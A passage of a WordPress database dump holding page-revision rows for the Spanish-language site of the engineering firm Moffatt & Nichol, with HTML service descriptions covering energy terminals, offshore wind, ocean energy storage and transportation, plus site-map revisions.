<div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n      <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/alternative-energy.jpg\" /></div>\r\n    </div>\r\n  <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">energía alternativa</h1>\r\nMoffatt & Nichol ofrece a sus clientes una capacidad especial en el área de soluciones de energía alternativa, con prácticas esenciales que reflejan la relación entre el medioambiente y las fuentes de energía innovadora. En el área de la hidrocinética, aplicamos nuestros conocimientos y experiencia profesional en ingeniería costera y en diseño de cuerpos de flotación a las singulares ubicaciones y a los requisitos mecánicos de los sistemas a fin de capturar la energía latente en las olas, corrientes y fuerzas de mareas. De forma similar, los novedosos métodos de almacenamiento de energía aportan un mayor equilibrio entre la oferta y la demanda. Moffatt & Nichol proporciona apoyo de ingeniería costera, civil y estructural para sistemas de almacenamiento de energía en recipientes de contención submarina, haciendo disponible la energía en la red eléctrica cuando es necesaria.  \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n    </div>\r\n   <div class=\"border\"></div> \r\n   <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/power.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">apoyo en proyectos de generación de energía</h1>\r\n     Las instalaciones de generación de energía convencional usualmente requieren gran infraestructura de ingeniería civil, tal como el mejoramiento del terreno, el desarrollo del lugar y una amplia infraestructura de transporte. Moffatt & Nichol proporciona el planeamiento, el diseño y la gestión de la construcción para proyectos de instalaciones de generación de energía, incluyendo el apoyo para la gestión de autorizaciones, apoyo en la construcción civil/estructural, planeamiento y gestión de la construcción y estudios del impacto sobre el medioambiente. La firma también proporciona servicios muy especializados en el análisis y diseño de estructuras de centrales de energía nuclear a fin de determinar la actual integridad estructural de las instalaciones de contención de concreto y de acero del reactor y predecir la futura. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>		','Servicios de energía','','inherit','open','open','','537-revision-3','','','2012-06-15 08:40:02','2012-06-15 08:40:02','',537,'http://moffattnichol.com/spanish/537-revision-3/',0,'revision','',0),(2712,1,'2012-09-06 13:27:13','2012-09-06 13:27:13','<div class=\"content_faq\">\r\n<h3>servicios de energía</h3>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/liquid-bulk.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"1\">terminales de carga líquida a granel</h1>\r\nLas instalaciones de terminales marítimas de carga líquida a granel tienen requisitos especiales. Moffatt &amp; Nichol proporciona una gama completa de servicios de planeamiento, diseño y gestión de la construcción para una variedad de sistemas de carga de graneles líquidos, incluyendo terminales marítimas petroleras grandes y pequeñas, instalaciones de descarga de gas licuado de petróleo (GLP), sistemas de amarre de buque tanques de boya múltiple y de amarres de un solo punto costa afuera. Nuestras capacidades de ingeniería comprenden desde el diseño marítimo, civil y estructural hasta sistemas de carga y descarga y sistemas de protección contra incendios, diseño medioambiental, de dragado y de protección costera para instalaciones de carga líquida a granel en todo el mundo.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/lng-terminal.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"2\">Terminales de GNL</h1>\r\nDurante décadas, Moffatt &amp; Nichol ha sido un consultor líder en la industria que abordaba las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa para la industria del petróleo y el gas. La firma ofrece una gama completa de servicios de consultoría de ingeniería para el diseño y la gestión de la construcción para instalaciones de gas natural licuado (GNL). Nuestros ingenieros y científicos han participado en casi todos los aspectos del planeamiento y la ingeniería de instalaciones de GNL, desde la etapa previa al estudio FEED y la ingeniería FEED hasta el análisis de tráfico de buques, el dragado y el diseño estructural. Hemos proporcionado estos servicios en más de veinte importantes proyectos de GNL en Asia, África, Canadá, México y los Estados Unidos, en algunos de los ambientes marinos más difíciles del mundo.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/wind-power.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"3\">Energía eólica costa afuera</h1>\r\nMoffatt &amp; Nichol está posicionado en forma singular para ayudar a sus clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestra experiencia profesional en ingeniería costera, ingeniería estructural y cimentaciones, planeamiento de construcción marítima y desarrollo de instalaciones marítimas, con nuestros servicios de evaluación económica y financieros para ayudar a nuestros clientes a entregar estos proyectos. La industria de la energía eólica debe enfrentar varios desafíos para desarrollar códigos y estándares de diseño que reflejen las condiciones extremas de oleaje y tormentas presentes en muchos lugares de proyectos costa afuera en todo el mundo. Moffatt &amp; Nichol, un líder reconocido internacionalmente en ingeniería costera y marítima/de costa afuera, ayuda a sus clientes a definir y aplicar los criterios de diseño que producirán instalaciones duraderas y operacionalmente confiables. Aportamos nuestra comprobada experiencia profesional interna en una gama completamente integrada de servicios, desde estudios de factibilidad y selección del lugar, hasta el diseño, planeamiento de la construcción y apoyo en las operaciones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\"></div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"4\"><a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/ocean-wind-power.jpg\"><img class=\"alignnone size-full wp-image-2710\" title=\"ocean-wind-power\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/ocean-wind-power.jpg\" alt=\"\" width=\"250\" height=\"189\" /></a></h1>\r\n<h1>Almacenamiento de energía del océano</h1>\r\nMoffatt &amp; Nichol, en sociedad con General Compression y Scripps Institution of Oceanography, está desarrollando un sistema para el almacenamiento económico de energía a escala de la red eléctrica. La tecnología de Almacenamiento de Energía de Aire Comprimido del Océano (OCAES, por sus siglas en inglés) utiliza la presión de aguas profundas del océano para evitar la necesidad de un costoso recipiente de presión. Los receptores de aire, ventilados al agua de mar, se construyen de concreto y se colocan en el fondo del océano, a una profundidad entre 2.000 y 6.000 pies (600 y 1.800 m). Una tubería conecta el receptor de aire con los módulos de expansión/compresión en tierra. Los módulos propietarios de expansión/compresión desarrollados por General Compression representan un logro tecnológico importante que tiene el potencial de revolucionar el almacenamiento de energía a escala de la red eléctrica. GC está respaldada por Duke Energy, US Renewables Group, ConocoPhillips y otros inversionistas en esta innovadora tecnología. El equipo de GC ha sido designado para obtener energía eólica y hacerla disponible.\r\n\r\nLos beneficios principales del sistema incluyen:\r\n\r\n• Las estimaciones preliminares indican costos en la gama de $100/kwh, en comparación con las baterías que usualmente cuestan de cuatro a diez veces más • Puede proporcionar en forma económica 100 horas o más de capacidad de almacenamiento • Puede aumentar el factor de carga para un parque eólico típico desde 35% hasta más de 90%, de forma muy económica • La eficiencia total es de 75-80% • Capacidad de arranque en negro • Arranque muy rápido, con la capacidad de cambiar rápidamente entre expansión y compresión, prácticamente eliminando la necesidad de “energía de reserva de respuesta rápida” • Larga vida útil con mantenimiento mínimo\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/alternative-energy.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"5\">energía alternativa</h1>\r\nMoffatt &amp; Nichol ofrece a sus clientes una capacidad especial en el área de soluciones de energía alternativa, con prácticas esenciales que reflejan la relación entre el medioambiente y las fuentes de energía innovadora. En el área de la hidrocinética, aplicamos nuestros conocimientos y experiencia profesional en ingeniería costera y en diseño de cuerpos de flotación a las singulares ubicaciones y a los requisitos mecánicos de los sistemas a fin de capturar la energía latente en las olas, corrientes y fuerzas de mareas. De forma similar, los novedosos métodos de almacenamiento de energía aportan un mayor equilibrio entre la oferta y la demanda. Moffatt &amp; Nichol proporciona apoyo de ingeniería costera, civil y estructural para sistemas de almacenamiento de energía en recipientes de contención submarina, haciendo disponible la energía en la red eléctrica cuando es necesaria.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/power.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"6\">apoyo en proyectos de generación de energía</h1>\r\nLas instalaciones de generación de energía convencional usualmente requieren gran infraestructura de ingeniería civil, tal como el mejoramiento del terreno, el desarrollo del lugar y una amplia infraestructura de transporte. Moffatt &amp; Nichol proporciona el planeamiento, el diseño y la gestión de la construcción para proyectos de instalaciones de generación de energía, incluyendo el apoyo para la gestión de autorizaciones, apoyo en la construcción civil/estructural, planeamiento y gestión de la construcción y estudios del impacto sobre el medioambiente. La firma también proporciona servicios muy especializados en el análisis y diseño de estructuras de centrales de energía nuclear a fin de determinar la actual integridad estructural de las instalaciones de contención de concreto y de acero del reactor y predecir la futura.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios de energía','','inherit','open','open','','537-revision-4','','','2012-09-06 13:27:13','2012-09-06 13:27:13','',537,'http://moffattnichol.com/spanish/537-revision-4/',0,'revision','',0),(2713,1,'2012-09-06 13:31:29','2012-09-06 13:31:29','<div class=\"content_faq\">\r\n<h3>servicios de energía</h3>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/liquid-bulk.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"1\">terminales de carga líquida a granel</h1>\r\nLas instalaciones de terminales marítimas de carga líquida a granel tienen requisitos especiales. Moffatt &amp; Nichol proporciona una gama completa de servicios de planeamiento, diseño y gestión de la construcción para una variedad de sistemas de carga de graneles líquidos, incluyendo terminales marítimas petroleras grandes y pequeñas, instalaciones de descarga de gas licuado de petróleo (GLP), sistemas de amarre de buque tanques de boya múltiple y de amarres de un solo punto costa afuera. Nuestras capacidades de ingeniería comprenden desde el diseño marítimo, civil y estructural hasta sistemas de carga y descarga y sistemas de protección contra incendios, diseño medioambiental, de dragado y de protección costera para instalaciones de carga líquida a granel en todo el mundo.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/lng-terminal.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"2\">Terminales de GNL</h1>\r\nDurante décadas, Moffatt &amp; Nichol ha sido un consultor líder en la industria que abordaba las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa para la industria del petróleo y el gas. La firma ofrece una gama completa de servicios de consultoría de ingeniería para el diseño y la gestión de la construcción para instalaciones de gas natural licuado (GNL). Nuestros ingenieros y científicos han participado en casi todos los aspectos del planeamiento y la ingeniería de instalaciones de GNL, desde la etapa previa al estudio FEED y la ingeniería FEED hasta el análisis de tráfico de buques, el dragado y el diseño estructural. Hemos proporcionado estos servicios en más de veinte importantes proyectos de GNL en Asia, África, Canadá, México y los Estados Unidos, en algunos de los ambientes marinos más difíciles del mundo.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/wind-power.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"3\">Energía eólica costa afuera</h1>\r\nMoffatt &amp; Nichol está posicionado en forma singular para ayudar a sus clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestra experiencia profesional en ingeniería costera, ingeniería estructural y cimentaciones, planeamiento de construcción marítima y desarrollo de instalaciones marítimas, con nuestros servicios de evaluación económica y financieros para ayudar a nuestros clientes a entregar estos proyectos. La industria de la energía eólica debe enfrentar varios desafíos para desarrollar códigos y estándares de diseño que reflejen las condiciones extremas de oleaje y tormentas presentes en muchos lugares de proyectos costa afuera en todo el mundo. Moffatt &amp; Nichol, un líder reconocido internacionalmente en ingeniería costera y marítima/de costa afuera, ayuda a sus clientes a definir y aplicar los criterios de diseño que producirán instalaciones duraderas y operacionalmente confiables. Aportamos nuestra comprobada experiencia profesional interna en una gama completamente integrada de servicios, desde estudios de factibilidad y selección del lugar, hasta el diseño, planeamiento de la construcción y apoyo en las operaciones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\"><div class=\"box_green-ports\"><img class=\"alignnone size-full wp-image-2710\" title=\"ocean-wind-power\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/ocean-wind-power.jpg\" alt=\"\" width=\"250\" height=\"189\" /></div></div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"4\">Almacenamiento de energía del océano<</h1>\r\nMoffatt &amp; Nichol, en sociedad con General Compression y Scripps Institution of Oceanography, está desarrollando un sistema para el almacenamiento económico de energía a escala de la red eléctrica. La tecnología de Almacenamiento de Energía de Aire Comprimido del Océano (OCAES, por sus siglas en inglés) utiliza la presión de aguas profundas del océano para evitar la necesidad de un costoso recipiente de presión. Los receptores de aire, ventilados al agua de mar, se construyen de concreto y se colocan en el fondo del océano, a una profundidad entre 2.000 y 6.000 pies (600 y 1.800 m). Una tubería conecta el receptor de aire con los módulos de expansión/compresión en tierra. Los módulos propietarios de expansión/compresión desarrollados por General Compression representan un logro tecnológico importante que tiene el potencial de revolucionar el almacenamiento de energía a escala de la red eléctrica. GC está respaldada por Duke Energy, US Renewables Group, ConocoPhillips y otros inversionistas en esta innovadora tecnología. El equipo de GC ha sido designado para obtener energía eólica y hacerla disponible.\r\n\r\nLos beneficios principales del sistema incluyen:\r\n\r\n• Las estimaciones preliminares indican costos en la gama de $100/kwh, en comparación con las baterías que usualmente cuestan de cuatro a diez veces más • Puede proporcionar en forma económica 100 horas o más de capacidad de almacenamiento • Puede aumentar el factor de carga para un parque eólico típico desde 35% hasta más de 90%, de forma muy económica • La eficiencia total es de 75-80% • Capacidad de arranque en negro • Arranque muy rápido, con la capacidad de cambiar rápidamente entre expansión y compresión, prácticamente eliminando la necesidad de “energía de reserva de respuesta rápida” • Larga vida útil con mantenimiento mínimo\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/alternative-energy.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"5\">energía alternativa</h1>\r\nMoffatt &amp; Nichol ofrece a sus clientes una capacidad especial en el área de soluciones de energía alternativa, con prácticas esenciales que reflejan la relación entre el medioambiente y las fuentes de energía innovadora. En el área de la hidrocinética, aplicamos nuestros conocimientos y experiencia profesional en ingeniería costera y en diseño de cuerpos de flotación a las singulares ubicaciones y a los requisitos mecánicos de los sistemas a fin de capturar la energía latente en las olas, corrientes y fuerzas de mareas. De forma similar, los novedosos métodos de almacenamiento de energía aportan un mayor equilibrio entre la oferta y la demanda. Moffatt &amp; Nichol proporciona apoyo de ingeniería costera, civil y estructural para sistemas de almacenamiento de energía en recipientes de contención submarina, haciendo disponible la energía en la red eléctrica cuando es necesaria.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/power.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"6\">apoyo en proyectos de generación de energía</h1>\r\nLas instalaciones de generación de energía convencional usualmente requieren gran infraestructura de ingeniería civil, tal como el mejoramiento del terreno, el desarrollo del lugar y una amplia infraestructura de transporte. Moffatt &amp; Nichol proporciona el planeamiento, el diseño y la gestión de la construcción para proyectos de instalaciones de generación de energía, incluyendo el apoyo para la gestión de autorizaciones, apoyo en la construcción civil/estructural, planeamiento y gestión de la construcción y estudios del impacto sobre el medioambiente. La firma también proporciona servicios muy especializados en el análisis y diseño de estructuras de centrales de energía nuclear a fin de determinar la actual integridad estructural de las instalaciones de contención de concreto y de acero del reactor y predecir la futura.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios de energía','','inherit','open','open','','537-revision-5','','','2012-09-06 13:31:29','2012-09-06 13:31:29','',537,'http://moffattnichol.com/spanish/537-revision-5/',0,'revision','',0),(2714,1,'2012-06-19 11:52:18','2012-06-19 11:52:18','<div class=\"banner-space\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/featured-solution.jpg\" alt=\"\" /></div>\r\n<div class=\"ports-left\">\r\n<h1>solución creativa presentada</h1>\r\n<p style=\"text-align: left;\">Parcialmente túnel, parcialmente puente, el Hampton Roads Bridge Tunnel (HRBT) I-64 tiene un lugar en la historia como hito en la ingeniería: es el primer túnel sumergido en el mundo conectado con islas artificiales. En 1957, se inauguró el HRBT de dos carriles y 3,5 millas (5,6 km) de longitud, ofreciendo a los conductores de la zona una ruta directa desde Norfolk hasta Hampton, Virginia, sin tener que esperar por un transbordador ni tener que conducir rodeando el agua.</p>\r\n<p style=\"text-align: left;\">El HRBT sirve hoy en día a cerca de tres millones de vehículos al mes, como uno de la familia de 10 puentes y puentes-túneles que ayudan a los conductores a navegar el puerto de Hampton Road, por encima y por debajo de los canales de navegación. En el HRBT, los volúmenes de tráfico superan los 100.000 vehículos durante la estación turística, por lo que los planificadores han comenzado a buscar alternativas para mantener el flujo del público en movimiento a través del puente-túnel.</p>\r\n<p style=\"text-align: left;\">Moffatt &amp; Nichol, aportando su experiencia en diseño de puentes y frentes costeros, trabajó como miembro del equipo consultor para un estudio de factibilidad en el año 2008 que exploró la mejora del nivel de servicio del HRBT. El Departamento de Transporte de Virginia (VDOT, por sus siglas en inglés) identificó seis alternativas posibles que agregarían carriles usando una solución de puente o túnel para atenuar la recurrente congestión. Moffatt &amp; Nichol proporcionó la información del diseño conceptual para estas alternativas de puente de alto nivel.</p>\r\n<p style=\"text-align: left;\">Aunque aún no se ha realizado una selección, VDOT continúa estudiando el corredor HRBT y recientemente solicitó un Informe de impacto medioambiental en apoyo de los estudios para las mejoras.</p>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Soluciones prácticas presentadas','','inherit','open','open','','1431-revision-4','','','2012-06-19 11:52:18','2012-06-19 11:52:18','',1431,'http://moffattnichol.com/spanish/1431-revision-4/',0,'revision','',0),(2715,1,'2011-12-08 06:17:21','2011-12-08 06:17:21','<h1>mapa del sitio</h1>\n<!-- ddsitemapgen -->','Mapa del sitio','','inherit','open','open','','1291-revision','','','2011-12-08 06:17:21','2011-12-08 06:17:21','',1291,'http://moffattnichol.com/spanish/1291-revision/',0,'revision','',0),(2716,1,'2012-09-07 14:44:57','2012-09-07 14:44:57','<h1>mapa del sitio</h1>\r\n\r\n<!-- ddsitemapgen -->\r\n<div class=\"topbtn\"><a title=\"Volver arriba\" href=\"#top\">Volver arriba</a></div>\r\n','Mapa del sitio','','inherit','open','open','','1291-autosave','','','2012-09-07 14:44:57','2012-09-07 14:44:57','',1291,'http://moffattnichol.com/spanish/1291-autosave/',0,'revision','',0),(2717,1,'2012-09-07 12:06:27','2012-09-07 12:06:27','','Mapa del sitio','','inherit','open','open','','1291-revision-2','','','2012-09-07 12:06:27','2012-09-07 12:06:27','',1291,'http://moffattnichol.com/spanish/1291-revision-2/',0,'revision','',0),(2718,1,'2012-09-07 12:09:03','2012-09-07 12:09:03','<h1>mapa del sitio</h1>\r\n<!-- ddsitemapgen -->','Mapa del sitio','','inherit','open','open','','1291-revision-3','','','2012-09-07 12:09:03','2012-09-07 12:09:03','',1291,'http://moffattnichol.com/spanish/1291-revision-3/',0,'revision','',0),(2719,1,'2012-09-07 12:23:21','2012-09-07 12:23:21','<h1>mapa del sitio</h1>\r\n<!-- ddsitemapgen -->','Mapa del sitio','','inherit','open','open','','1291-revision-4','','','2012-09-07 12:23:21','2012-09-07 12:23:21','',1291,'http://moffattnichol.com/spanish/1291-revision-4/',0,'revision','',0),(2720,1,'2012-09-07 12:24:00','2012-09-07 12:24:00','<h1>mapa del sitio</h1>\r\n<!-- ddsitemapgen -->','Mapa del sitio','','inherit','open','open','','1291-revision-5','','','2012-09-07 12:24:00','2012-09-07 12:24:00','',1291,'http://moffattnichol.com/spanish/1291-revision-5/',0,'revision','',0),(2721,1,'2012-09-07 14:26:21','2012-09-07 14:26:21','<h1>mapa del sitio</h1>\r\n<!-- ddsitemapgen -->\r\n<div class=\"topbtn\"><a title=\"Volver arriba\" href=\"#top\">Volver arriba</a></div>','Mapa del sitio','','inherit','open','open','','1291-revision-6','','','2012-09-07 14:26:21','2012-09-07 14:26:21','',1291,'http://moffattnichol.com/spanish/1291-revision-6/',0,'revision','',0),(2722,1,'2012-09-07 14:30:51','2012-09-07 14:30:51','<h1>mapa del sitio</h1>\r\n<div class=\"topbtn\"><a title=\"Volver arriba\" href=\"#top\">Volver arriba</a></div>\r\n<!-- ddsitemapgen -->\r\n','Mapa del sitio','','inherit','open','open','','1291-revision-7','','','2012-09-07 14:30:51','2012-09-07 14:30:51','',1291,'http://moffattnichol.com/spanish/1291-revision-7/',0,'revision','',0),(2723,1,'2012-09-07 14:36:11','2012-09-07 14:36:11','<h1>mapa del sitio</h1>\r\n\r\n<div style=\"min-height:500px\"><!-- ddsitemapgen --></div>\r\n<div class=\"topbtn\"><a title=\"Volver arriba\" href=\"#top\">Volver arriba</a></div>\r\n','Mapa del sitio','','inherit','open','open','','1291-revision-8','','','2012-09-07 14:36:11','2012-09-07 14:36:11','',1291,'http://moffattnichol.com/spanish/1291-revision-8/',0,'revision','',0),(2724,1,'2012-09-07 14:36:50','2012-09-07 14:36:50','<h1>mapa del sitio</h1>\r\n\r\n<div style=\"min-height:500px; float:left\"><!-- ddsitemapgen --></div>\r\n<div class=\"topbtn\"><a title=\"Volver arriba\" href=\"#top\">Volver arriba</a></div>\r\n','Mapa del sitio','','inherit','open','open','','1291-revision-9','','','2012-09-07 14:36:50','2012-09-07 14:36:50','',1291,'http://moffattnichol.com/spanish/1291-revision-9/',0,'revision','',0),(2725,1,'2012-09-07 14:42:00','2012-09-07 14:42:00','<h1>mapa del sitio</h1>\r\n\r\n<!-- ddsitemapgen -->\r\n<div class=\"topbtn\"><a title=\"Volver arriba\" href=\"#top\">Volver arriba</a></div>\r\n','Mapa del sitio','','inherit','open','open','','1291-revision-10','','','2012-09-07 14:42:00','2012-09-07 14:42:00','',1291,'http://moffattnichol.com/spanish/1291-revision-10/',0,'revision','',0),(2726,1,'2012-08-14 04:37:50','2012-08-14 04:37:50','<div class=\"content_faq\">\r\n[vslider name=\"transportation\"] <h3>transporte</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/deep-foundation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">cimentaciones profundas</h1>\r\nMoffatt & Nichol proporciona servicios especializados para cimentaciones profundas en ambientes marítimos y acuáticos.  Los grandes proyectos de ingeniería marítima y fluvial requieren diseñadores para coordinar las múltiples disciplinas de ingeniería y para entender los métodos de construcción en el momento del diseño de concepto y de la selección del tipo. Las dificultades incluyen condiciones de suelo débil y métodos en los cuales las estructuras grandes y pesadas se pueden construir usando equipo flotante que es vulnerable a vientos, olas y corrientes. Estas olas y corrientes también pueden socavar las cimentaciones de la estructura a grandes profundidades. Finalmente, los buques grandes pueden golpear la estructura, aplicando cargas extremadamente grandes. El Grupo de cimentaciones marítimas de Moffatt & Nichol es único en su capacidad de proporcionar un análisis y un diseño de ingeniería integrales que cubren, integran y equilibran todas estas áreas de servicio especializadas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/fery.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">terminales de transbordadores</h1>\r\nComo una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseño de terminales de transbordadores de pasajeros y RoPax así como sus instalaciones correspondientes en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y análisis económicos hasta el planeamiento, diseño, gestión del programa y apoyo en la construcción. La firma ha sido responsable de proyectos tan diversos como instalaciones de frentes urbanos y en tierra para grandes transbordadores de pasajeros y carga hasta operaciones más pequeñas de taxis acuáticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operación de las terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a aquellos en la comunidad marítima, el sector gubernamental, el sector de logística y a la comunidad de inversionistas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/global.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">servicios consultivos comerciales globales</h1>\r\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte e inversionistas privados y públicos.\r\n\r\nNuestro grupo abarca una combinación de especialistas en economía, logística, finanzas, gestión y operaciones, con experiencia profesional en una organización novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creación de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\r\n\r\nÚnica en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de 